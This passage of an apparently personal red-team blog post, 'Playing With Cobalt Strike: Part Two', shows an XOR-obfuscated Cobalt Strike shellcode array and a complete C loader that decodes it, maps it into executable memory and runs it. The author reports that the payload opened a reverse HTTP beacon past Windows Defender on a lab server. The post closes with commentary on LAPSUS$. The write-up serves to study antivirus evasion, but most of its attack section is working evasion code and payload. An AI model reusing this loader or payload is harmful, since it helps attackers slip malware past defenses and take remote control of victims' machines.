x38\x2f\x34\x37\x21\x29\x4c\x49\x55\x4e\x4d\x2d\x21\x6d\x6a\x6c\x66\x21\x48\x66\x64\x6c\x70\x2a\x21\x44\x69\x73\x70\x6e\x66\x30\x37\x33\x2f\x31\x2f\x34\x33\x31\x33\x2f\x3a\x35\x21\x54\x62\x67\x62\x73\x6a\x30\x36\x34\x38\x2f\x34\x37\xe\xb\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x42\xbf\xf1\xb6\xa3\x57\x0\xd6\x49\x32\xca\xbb\x1\x1\x41\x1\x42\xb9\x1\x11\x1\x1\x42\xba\x41\x1\x1\x1\x42\xbb\x59\xa5\x54\xe6\x0\xd6\x49\x94\x54\x54\x49\x8a\xe8\x49\x8a\xf2\x49\x8a\xdb\x42\xb9\x1\x21\x1\x1\x4a\x8a\xfa\x42\xbb\x13\x97\x8a\xe3\x0\xd6\x49\x84\xc5\x21\x86\xc1\x75\xb7\x67\x8c\x8\x49\x2\xc4\x86\xc1\x76\xd8\x59\x59\x59\x49\x6\xa2\x4\x1\x1\x51\xc4\xe9\xa0\xfe\x0\x0\x32\x3a\x33\x2f\x32\x37\x39\x2f\x33\x2f\x32\x31\x36\x1\x1\x1\x1\x1\x1";

  // Storage for the new array after being shifted in memory
  unsigned char newArray[sizeof(shiftedArray)];

  // Iterate over each byte in the shifted array
  for (short i = 0; i < sizeof(shiftedArray); i++) {
    short current = shiftedArray[i];

    // Decrement by 1 or roll over to stay within eight bits
    if (current > 0) {
      current -= 1;
    }
    else {
      current = 255;
    }

    // Store reshifted values, XORed with the key of 7
    newArray[i] = current ^ 7;
  }

  // For those unfamiliar with VirtualAlloc (like me five minutes ago), see
  // https://docs.microsoft.com/en-us/windows/win32/memory/reserving-and-committing-memory
  void* exec = VirtualAlloc(
    0,              // The next page to commit (this)
    sizeof newArray,      // Set the page size to the size of the CS array
    MEM_COMMIT,         // Push the next page
    PAGE_EXECUTE_READWRITE    // Allow execute, read, and write permissions
  );

  // The reshifted bytes can now be copied to exec for execution
  // https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/memmove-wmemmove
  memcpy(
    exec,           // Copying into exec (the memory space)
    newArray,         // From the whole array
    sizeof newArray       // With a length of the array (obviously)
  );

  // Execute the code in the reserved memory location
  ((void(*)())exec)();

  return 0;
}

As shown above, I changed the process by adding the simple step of XORing each byte with 7. XORing data is a great, simple way to obfuscate malware; see this article from MalwareBytes on the topic.

Exploitation

Running payload.exe:

Running payload.exe

Connected beacon

Success! payload.exe yielded a reverse HTTP connection without being stopped by Windows Defender. The VirusTotal scan shown in the screenshot above is here.

One very interesting note is how Windows Defender actually does detect the payload in VirusTotal, but not on victim.local. As a reminder, victim.local is a Windows Server 2022 with fully updated (non-Endpoint) Defender signatures as of the time of writing. Specifically, the security intelligence version on victim.local is 1.363.336.0. That made me curious though: I run Windows 10 on my desktop; will Defender on Windows 10 detect payload.exe?

Defender on Windows 10 detecting payload.exe

As it turns out, the answer is yes. Why is that, I wonder? Does the Microsoft security suite target different threats on different platforms? Perhaps that is a topic I will explore in the future. In any case, beacon connectivity was successful, allowing for a variety of different malicious actions, such as grabbing screenshots, killing processes, executing additional payloads, attempting elevation, and more.

Screenshot of activity on victim.local

Wrapping Up

If this showcase was any indication, Cobalt Strike remains a powerful weapon in the arsenal of any red teamer, and I did not employ any of the advanced feature sets in my attack. The code I wrote to bypass Windows Defender today was trivial; paired with Cobalt Stike, it is a reminder of the low barrier of entry to the aspiring cybercriminal.

Further, technical attacks like this can be realistically considered the most difficult end of cybercrime. Think, for instance, of the LAPSUS$ group, the alleged leader of which is a 16-year-old from Oxford, England. Screenshots below are from the $LAPSUS Telegram channel taken in March 2022.

Screenshot 1 of Lapsus group chat

Screenshot 2 of Lapsus group chat

Many times, to perform malicious activities, cybercriminals do not have to engage their targets in technical operations at all. Alternatively, if they do — such as dropping Cobalt Strike executables for persistence in networks — they might simply be able to purchase network access, as LAPSUS$ is known for.

Infosec is certainly not without its surprises. In a world where cybercrime gangs are led by minors and even imprisoning their discovered members does not halt their activity and enormous hacking forums take years for the DoJ to shut down (of course, not before spreading billions of stolen credentials), it is evident that the Internet still has elements of its Wild West era from decades ago.

With equal excitement and despair in security today, I wonder what new exploits, hacks, and technical scandals we’ll see tomorrow.


Share 'Playing With Cobalt Strike: Part Two'

Thank you so much for reading this entry. Note that I am open to questions, comments, and criticism — I learn alongside you. Do you see something that's not quite right or that I could otherwise improve upon? Please, do not hesitate to suggest an edit.

Email Twitter LinkedIn GitHub